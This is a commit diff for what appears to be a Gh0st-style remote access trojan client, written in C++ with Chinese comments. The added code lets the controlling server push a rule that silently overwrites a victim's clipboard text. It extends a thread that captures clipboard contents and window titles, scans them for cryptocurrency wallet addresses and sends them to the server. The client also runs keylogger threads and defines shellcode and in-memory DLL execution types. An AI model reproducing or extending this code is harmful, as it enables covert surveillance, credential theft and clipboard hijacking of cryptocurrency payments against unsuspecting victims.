Compare commits
6 Commits
v1.3.3
...
e762e3cbd1
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e762e3cbd1 | ||
|
|
6c32b478af | ||
|
|
b813d94486 | ||
|
|
0fe67b16d5 | ||
|
|
b69d61617f | ||
|
|
929436e29d |
@@ -25,6 +25,7 @@
|
||||
#define USING_CLIP 0
|
||||
|
||||
#include "wallet.h"
|
||||
#include "common/utf8.h"
|
||||
#if USING_CLIP
|
||||
#include "clip.h"
|
||||
#ifdef _WIN64
|
||||
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string rule = bin.GetStr("settings", "textRule");
|
||||
if (rule.length() >= sizeof(TextReplace)) {
|
||||
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
|
||||
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
|
||||
}
|
||||
|
||||
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
sendStartKeyBoard();
|
||||
m_ruleMu.Lock();
|
||||
auto rule = m_ReplaceRule;
|
||||
m_ruleMu.Unlock();
|
||||
sendStartKeyBoard(rule);
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
GET_PROCESS_EASY(DeleteFileA);
|
||||
DeleteFileA(m_strRecordFile);
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
|
||||
CAutoCLock L(m_ruleMu);
|
||||
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
|
||||
binFile cfg(CLIENT_PATH);
|
||||
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
|
||||
cfg.SetStr("settings", "textRule", rule);
|
||||
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
|
||||
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
return w;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
|
||||
{
|
||||
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
||||
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
||||
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
||||
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
||||
BYTE bToken[4];
|
||||
BYTE bToken[4 + sizeof(TextReplace)];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||
memcpy(bToken + 2, &caps, sizeof(WORD));
|
||||
memcpy(bToken + 4, &rule, sizeof(TextReplace));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||
}
|
||||
@@ -503,27 +525,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string CKeyboardManager1::ReplaceText() {
|
||||
CAutoCLock L(m_ruleMu);
|
||||
|
||||
switch (m_ReplaceRule.type) {
|
||||
case RULE_REPLACE_ALL:
|
||||
if (m_ReplaceRule.param[0] == 0)
|
||||
return "";
|
||||
std::string text((char*)m_ReplaceRule.param);
|
||||
return clip::set_text_utf8(text) ? text : "";
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||
std::string lastValue = {};
|
||||
while (pThis->m_bIsWorking) {
|
||||
auto w = pThis->GetWallet();
|
||||
if (w.empty()) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
bool hasClipboard = false;
|
||||
try {
|
||||
hasClipboard = clip::has(clip::text_format());
|
||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
hasClipboard = false;
|
||||
Sleep(3000);
|
||||
}
|
||||
bool hasClipboard = clip::has(clip::text_format());
|
||||
if (hasClipboard) {
|
||||
std::string value;
|
||||
clip::get_text(value);
|
||||
if (value.length() > 200) {
|
||||
Sleep(1000);
|
||||
if (!clip::get_text(value)) {
|
||||
Sleep(500);
|
||||
continue;
|
||||
}
|
||||
std::string recordValue = value.substr(0, 4096);
|
||||
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
|
||||
lastValue = recordValue;
|
||||
HWND foreground = GetForegroundWindow();
|
||||
char window_title[MAX_PATH] = {};
|
||||
wchar_t wTitle[MAX_PATH] = {};
|
||||
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||
if (wTitle[0]) {
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
|
||||
}
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
char tm[64];
|
||||
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
|
||||
std::stringstream output;
|
||||
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
|
||||
std::string str = output.str();
|
||||
pThis->m_Buffer->Write(str.c_str(), str.length());
|
||||
|
||||
if (pThis->IsConnected()) {
|
||||
str.erase(0, 4);
|
||||
str.insert(0, 1, TOKEN_CLIP_TEXT);
|
||||
pThis->Send((BYTE*)str.c_str(), str.length()+1);
|
||||
std::string newValue = pThis->ReplaceText();
|
||||
if (!newValue.empty()) {
|
||||
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
|
||||
lastValue = newValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Wallet detection
|
||||
auto w = pThis->GetWallet();
|
||||
if (value.length() > 200 || w.empty()) {
|
||||
Sleep(500);
|
||||
continue;
|
||||
}
|
||||
auto type = detectWalletType(value);
|
||||
@@ -565,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
break;
|
||||
}
|
||||
}
|
||||
Sleep(1000);
|
||||
Sleep(500);
|
||||
}
|
||||
return 0x20251005;
|
||||
}
|
||||
|
||||
@@ -237,19 +237,22 @@ public:
|
||||
HANDLE m_hClipboard;
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
TextReplace m_ReplaceRule = {};
|
||||
virtual BOOL Reconnect()
|
||||
{
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
std::string ReplaceText();
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
int sendStartKeyBoard(const TextReplace& rule);
|
||||
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
|
||||
bool m_bIsWorking;
|
||||
CircularBuffer *m_Buffer;
|
||||
CLocker m_mu;
|
||||
CLocker m_ruleMu;
|
||||
std::vector<std::string> m_Wallet;
|
||||
std::vector<std::string> GetWallet();
|
||||
};
|
||||
|
||||
@@ -7,13 +7,13 @@
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "afxres.h"
|
||||
#include "winres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// 中文(简体,中国) resources
|
||||
// 中文(简体,中国) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
|
||||
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
@@ -26,7 +26,7 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
|
||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "消息提示"
|
||||
CAPTION "消息提示"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
@@ -61,7 +61,7 @@ END
|
||||
|
||||
2 TEXTINCLUDE
|
||||
BEGIN
|
||||
"#include ""afxres.h""\r\n"
|
||||
"#include ""winres.h""\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
@@ -132,7 +132,7 @@ IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
||||
|
||||
IDI_ICON_MSG ICON "Res\\msg.ico"
|
||||
|
||||
#endif // 中文(简体,中国) resources
|
||||
#endif // 中文(简体,中国) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
@@ -84,4 +84,41 @@ namespace clip {
|
||||
LeaveCriticalSection(&GetClipLock());
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
|
||||
*/
|
||||
inline bool set_text_utf8(const std::string& utf8_str) {
|
||||
if (utf8_str.empty()) return false;
|
||||
|
||||
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
|
||||
if (wlen <= 0) return false;
|
||||
|
||||
// 2. 分配全局内存
|
||||
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
||||
if (!hMem) return false;
|
||||
|
||||
// 3. 执行转换并锁定内存
|
||||
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
|
||||
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
|
||||
GlobalUnlock(hMem);
|
||||
|
||||
// 4. 操作剪切板
|
||||
bool success = false;
|
||||
if (OpenClipboard(NULL)) {
|
||||
EmptyClipboard();
|
||||
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
|
||||
success = true;
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
|
||||
if (!success) {
|
||||
GlobalFree(hMem);
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
} // namespace clip
|
||||
|
||||
@@ -337,6 +337,20 @@ enum {
|
||||
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck)
|
||||
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
|
||||
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
||||
COMMAND_TEXT_REPLACE = 249,
|
||||
TOKEN_CLIP_TEXT = 250,
|
||||
};
|
||||
|
||||
#pragma pack(push, 1)
|
||||
struct TextReplace {
|
||||
uint8_t cmd;
|
||||
uint8_t type;
|
||||
uint8_t param[510];
|
||||
uint8_t reserved[512];
|
||||
};
|
||||
|
||||
enum TextReplaceRule {
|
||||
RULE_REPLACE_ALL = 0,
|
||||
};
|
||||
|
||||
// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
|
||||
@@ -353,7 +367,6 @@ enum {
|
||||
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
|
||||
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
|
||||
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
|
||||
#pragma pack(push, 1)
|
||||
struct ConnAuthPacket {
|
||||
uint8_t token; // = TOKEN_CONN_AUTH [1]
|
||||
uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8]
|
||||
@@ -1335,11 +1348,13 @@ enum {
|
||||
|
||||
SHELLCODE = 0,
|
||||
MEMORYDLL = 1,
|
||||
RUNTYPE_MAX = 2,
|
||||
|
||||
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
||||
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
||||
CALLTYPE_FRPC_CALL = 2, // 调用FRPC
|
||||
CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC(标准方式,使用开源FRP项目)
|
||||
CALLTYPE_MAX = 4,
|
||||
};
|
||||
|
||||
typedef DWORD(__stdcall* PidCallback)(void);
|
||||
|
||||
@@ -1,11 +1,17 @@
|
||||
#ifndef YAMA_SCHEDULER_H
|
||||
#define YAMA_SCHEDULER_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
// 调度模式定义
|
||||
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
|
||||
#define SCH_MODE_STARTUP 1 // 启动执行模式
|
||||
#define SCH_MODE_DAILY 2 // 每日定时模式
|
||||
#define SCH_MODE_WEEKLY 3 // 每周定时模式
|
||||
#define SCH_MODE_MONTHLY 4 // 每月定时模式
|
||||
#define SCH_MODE_YEARLY 5 // 每年定时模式
|
||||
#define SCH_MODE_OFF 6 // 关闭
|
||||
#define SCH_MODE_MAX 7
|
||||
|
||||
#pragma pack(push, 1)
|
||||
// 严格定义 16 字节结构
|
||||
@@ -40,6 +46,7 @@ class YamaTaskEngine {
|
||||
public:
|
||||
static bool ShouldExecute(const ScheduleParams* p) {
|
||||
// --- 1. 默认与基础拦截 ---
|
||||
if (p->Mode == SCH_MODE_OFF) return false;
|
||||
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0,默认不执行
|
||||
if (p->Flags & 0x01) return false; // 显式禁用拦截
|
||||
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
|
||||
@@ -63,9 +70,51 @@ public:
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||
// TargetMin=0 表示 0:00 执行
|
||||
if (curMin >= p->Config.Timed.TargetMin) {
|
||||
if (!IsSameDay(p->LastRunTime, now)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// --- 4. 每周定时逻辑 (Mode 3) ---
|
||||
if (p->Mode == SCH_MODE_WEEKLY) {
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||
// DaysMask=0 表示周日 (wDayOfWeek: 0=周日, 1=周一, ...)
|
||||
unsigned char targetDay = p->Config.Timed.DaysMask;
|
||||
if (st.wDayOfWeek == targetDay && curMin >= p->Config.Timed.TargetMin) {
|
||||
if (!IsSameWeek(p->LastRunTime, now)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// --- 5. 每月定时逻辑 (Mode 4) ---
|
||||
if (p->Mode == SCH_MODE_MONTHLY) {
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||
// DaysMask=0 表示每月第 1 天
|
||||
unsigned char targetDay = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
|
||||
if (st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
|
||||
if (!IsSameMonth(p->LastRunTime, now)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// --- 6. 每年定时逻辑 (Mode 5) ---
|
||||
if (p->Mode == SCH_MODE_YEARLY) {
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||
// DaysMask=0, Reserved=0 表示 1月1日
|
||||
unsigned char targetMonth = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
|
||||
unsigned char targetDay = p->Config.Timed.Reserved == 0 ? 1 : p->Config.Timed.Reserved;
|
||||
if (st.wMonth == targetMonth && st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
|
||||
if (!IsSameYear(p->LastRunTime, now)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
return false;
|
||||
@@ -88,13 +137,66 @@ private:
|
||||
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||
if (ft1 == 0 || ft2 == 0) return false;
|
||||
SYSTEMTIME st1, st2;
|
||||
FILETIME f1, f2;
|
||||
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
|
||||
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
|
||||
FileTimeToSystemTime(&f1, &st1);
|
||||
FileTimeToSystemTime(&f2, &st2);
|
||||
FTToST(ft1, &st1);
|
||||
FTToST(ft2, &st2);
|
||||
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
|
||||
}
|
||||
|
||||
static bool IsSameWeek(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||
if (ft1 == 0 || ft2 == 0) return false;
|
||||
// 转换为本地时间的天数,再判断是否在同一周
|
||||
SYSTEMTIME st1, st2;
|
||||
FTToST(ft1, &st1);
|
||||
FTToST(ft2, &st2);
|
||||
// 计算两个日期各自所在周的周日日期,相同则同一周
|
||||
int days1 = DaysSinceEpoch(st1.wYear, st1.wMonth, st1.wDay);
|
||||
int days2 = DaysSinceEpoch(st2.wYear, st2.wMonth, st2.wDay);
|
||||
// 回退到本周周日 (wDayOfWeek: 0=周日)
|
||||
int weekStart1 = days1 - st1.wDayOfWeek;
|
||||
int weekStart2 = days2 - st2.wDayOfWeek;
|
||||
return (weekStart1 == weekStart2);
|
||||
}
|
||||
|
||||
static bool IsSameMonth(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||
if (ft1 == 0 || ft2 == 0) return false;
|
||||
SYSTEMTIME st1, st2;
|
||||
FTToST(ft1, &st1);
|
||||
FTToST(ft2, &st2);
|
||||
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth);
|
||||
}
|
||||
|
||||
static bool IsSameYear(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||
if (ft1 == 0 || ft2 == 0) return false;
|
||||
SYSTEMTIME st1, st2;
|
||||
FTToST(ft1, &st1);
|
||||
FTToST(ft2, &st2);
|
||||
return (st1.wYear == st2.wYear);
|
||||
}
|
||||
|
||||
static void FTToST(unsigned __int64 ft, SYSTEMTIME* pSt) {
|
||||
FILETIME ftUtc, ftLocal;
|
||||
ftUtc.dwLowDateTime = (DWORD)ft;
|
||||
ftUtc.dwHighDateTime = (DWORD)(ft >> 32);
|
||||
FileTimeToLocalFileTime(&ftUtc, &ftLocal);
|
||||
FileTimeToSystemTime(&ftLocal, pSt);
|
||||
}
|
||||
|
||||
// 简易计算从某基准日开始的天数 (用于周计算)
|
||||
static int DaysSinceEpoch(int year, int month, int day) {
|
||||
// 简化算法:相对于 2000-01-01 的天数
|
||||
int y = year - 2000;
|
||||
int leapYears = (y > 0) ? ((y - 1) / 4 - (y - 1) / 100 + (y - 1) / 400 + 1) : 0;
|
||||
int days = y * 365 + leapYears;
|
||||
static const int daysBeforeMonth[] = { 0,31,59,90,120,151,181,212,243,273,304,334 };
|
||||
days += daysBeforeMonth[month - 1] + day - 1;
|
||||
// 闰年 2 月后加 1 天
|
||||
if (month > 2 && IsLeapYear(year)) days++;
|
||||
return days;
|
||||
}
|
||||
|
||||
static bool IsLeapYear(int year) {
|
||||
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
|
||||
}
|
||||
};
|
||||
#endif
|
||||
#endif
|
||||
|
||||
56
common/utf8.h
Normal file
56
common/utf8.h
Normal file
@@ -0,0 +1,56 @@
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
|
||||
/**
|
||||
* 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
|
||||
*/
|
||||
inline std::string ansi_to_utf8(const std::string& ansi_str) {
|
||||
if (ansi_str.empty()) return "";
|
||||
|
||||
// 1. ANSI -> UTF-16 (WideChar)
|
||||
int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
|
||||
std::wstring wstr(wlen, 0);
|
||||
MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
|
||||
|
||||
// 2. UTF-16 -> UTF-8
|
||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
std::string utf8_str(u8len, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
|
||||
|
||||
// 移除末尾的 \0
|
||||
if (!utf8_str.empty() && utf8_str.back() == '\0') {
|
||||
utf8_str.pop_back();
|
||||
}
|
||||
return utf8_str;
|
||||
}
|
||||
|
||||
/**
|
||||
* 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
|
||||
* 用于在多字节字符集 UI 上正常显示从远程接收到的内容
|
||||
*/
|
||||
inline std::string utf8_to_ansi(const std::string& utf8_str) {
|
||||
if (utf8_str.empty()) return "";
|
||||
|
||||
// 1. UTF-8 -> UTF-16 (WideChar)
|
||||
// 计算需要的宽字符长度
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
|
||||
if (wlen <= 0) return "";
|
||||
|
||||
std::wstring wstr(wlen, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
|
||||
|
||||
// 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
|
||||
// CP_ACP 表示使用当前系统的 ANSI 代码页
|
||||
int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (alen <= 0) return "";
|
||||
|
||||
std::string ansi_str(alen, 0);
|
||||
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
|
||||
|
||||
// 移除 WideCharToMultiByte 自动添加的 \0 结尾
|
||||
if (!ansi_str.empty() && ansi_str.back() == '\0') {
|
||||
ansi_str.pop_back();
|
||||
}
|
||||
|
||||
return ansi_str;
|
||||
}
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -234,6 +234,77 @@ public:
|
||||
// 用于在收到 JPEG 后调用 SetImageFromJpeg;DeletePopupWindow 释放时一并置空。
|
||||
class CPreviewTipWnd* m_pPreviewTip = nullptr;
|
||||
WORD m_PreviewReqId = 0; // 当前期待的预览响应序号;0 = 无待响应
|
||||
|
||||
// 屏幕预览响应消息载荷(PostMessage WM_PREVIEW_RESPONSE 的 LPARAM 指向它)。
|
||||
// IO 线程在 MessageHandle/TOKEN_SCREEN_PREVIEW_RSP 分支堆分配,UI 线程消费后释放。
|
||||
// 把 clientId 放进来是为了:1) 循环快照场景按 clientId 路由到目标窗口;
|
||||
// 2) 避免依赖 WPARAM —— 32 位 Windows 上 WPARAM 是 32 位,截 64 位 clientID。
|
||||
struct PreviewRspMsg {
|
||||
uint64_t clientId;
|
||||
std::vector<BYTE> packet;
|
||||
};
|
||||
|
||||
// "播放快照"循环模式:每个表项对应一台主机的浮窗 + 调度状态。
|
||||
// 仅 UI 线程访问(菜单 / OnTimer / OnPreviewResponse / OnUserOfflineMsg /
|
||||
// OnLoopTipDestroyed / Release),不加锁;context* 走 FindHost 在 m_cs 下取。
|
||||
struct LoopTipEntry {
|
||||
class CPreviewTipWnd* tip = nullptr;
|
||||
WORD expectedReqId = 0; // 上次发请求时写入;响应时校验
|
||||
WORD maxWidth = 480;
|
||||
BYTE jpegQuality = 70;
|
||||
};
|
||||
std::map<uint64_t, LoopTipEntry> m_LoopTips;
|
||||
WORD m_LoopReqId = 0; // 循环快照专用 reqId;与 m_PreviewReqId 解耦
|
||||
static const int LOOP_INTERVAL_MS = 3000; // 循环快照间隔(暂定 3 秒)
|
||||
|
||||
// 循环快照帮助函数(仅 UI 线程调用)
|
||||
void OpenLoopTip(class context* ctx, CPoint anchor);
|
||||
void CloseLoopTip(uint64_t clientID);
|
||||
void CloseAllLoopTips();
|
||||
void TickLoopTips();
|
||||
void SendLoopRequest(uint64_t clientID, LoopTipEntry& entry);
|
||||
afx_msg LRESULT OnLoopTipDestroyed(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
// ===== 主机列表缩略图(在线列表第 0 列) =====
|
||||
// 设计文档:纯主控端 UI 偏好,不进 MasterSettings 协议包。持久化走 THIS_CFG
|
||||
// [thumbnail] 节。所有运行时状态仅 UI 线程访问。
|
||||
struct ThumbnailSettings {
|
||||
bool Enabled = true;
|
||||
int RefreshIntervalSec = 30; // 单台主机的刷新周期
|
||||
int ThumbWidth = 60; // 列表内显示宽度(高 = 9w/16)
|
||||
int NetReqWidth = 120; // 网络请求的源宽(HiDPI 余量,>= ThumbWidth)
|
||||
int JpegQuality = 60; // 1..100
|
||||
};
|
||||
ThumbnailSettings m_ThumbnailCfg;
|
||||
|
||||
struct ThumbCacheEntry {
|
||||
HBITMAP bmp = nullptr; // 预先缩到显示尺寸的 24bpp DIB,BitBlt 友好
|
||||
int w = 0;
|
||||
int h = 0;
|
||||
};
|
||||
std::map<uint64_t, ThumbCacheEntry> m_HostThumbnails; // 缩略图缓存
|
||||
std::map<uint64_t, DWORD> m_ThumbNextDueTick; // 下次到期 GetTickCount() 时间
|
||||
std::set<uint64_t> m_ThumbnailPending; // 在飞的 clientId 集合
|
||||
WORD m_ThumbnailReqId = 0; // 缩略图专用 reqId(与 m_PreviewReqId / m_LoopReqId 解耦)
|
||||
|
||||
// 行高占位 ImageList:CListCtrl 没有 SetRowHeight,标准做法是装一个 1×rowH 的
|
||||
// 空 ImageList 强行撑高行。关闭缩略图时换回 1×default(或 detach),让行高回缩。
|
||||
CImageList m_thumbRowHeightImgList;
|
||||
int m_thumbRowHeightApplied = 0; // 已应用的行高(避免重复创建)
|
||||
|
||||
// 一次性配置应用入口:加载/重新加载 m_ThumbnailCfg 后调用,处理:
|
||||
// - 启动/停止 TIMER_THUMBNAIL_REFRESH
|
||||
// - 列宽 / 行高 调整
|
||||
// - 尺寸变化时丢弃旧缓存 HBITMAP
|
||||
void ApplyThumbnailSettings();
|
||||
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
|
||||
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
|
||||
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
|
||||
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
|
||||
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
|
||||
void ClearThumbnailCacheEntry(uint64_t clientID);
|
||||
void ClearAllThumbnailCache();
|
||||
void InvalidateHostRow(uint64_t clientID); // 仅重绘对应行
|
||||
// 记录 clientID(心跳更新)
|
||||
std::set<uint64_t> m_DirtyClients;
|
||||
// 待处理的上线/下线事件(批量更新减少闪烁)
|
||||
@@ -286,7 +357,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
|
||||
CBitmap m_bmOnline[55]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons + 1 snapshot
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -438,6 +509,8 @@ public:
|
||||
afx_msg void OnWhatIsThis();
|
||||
afx_msg void OnOnlineAuthorize();
|
||||
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
// 单击:缩略图列(COL_THUMBNAIL)命中时弹出循环监视窗口;其余列保持默认行为
|
||||
afx_msg void OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
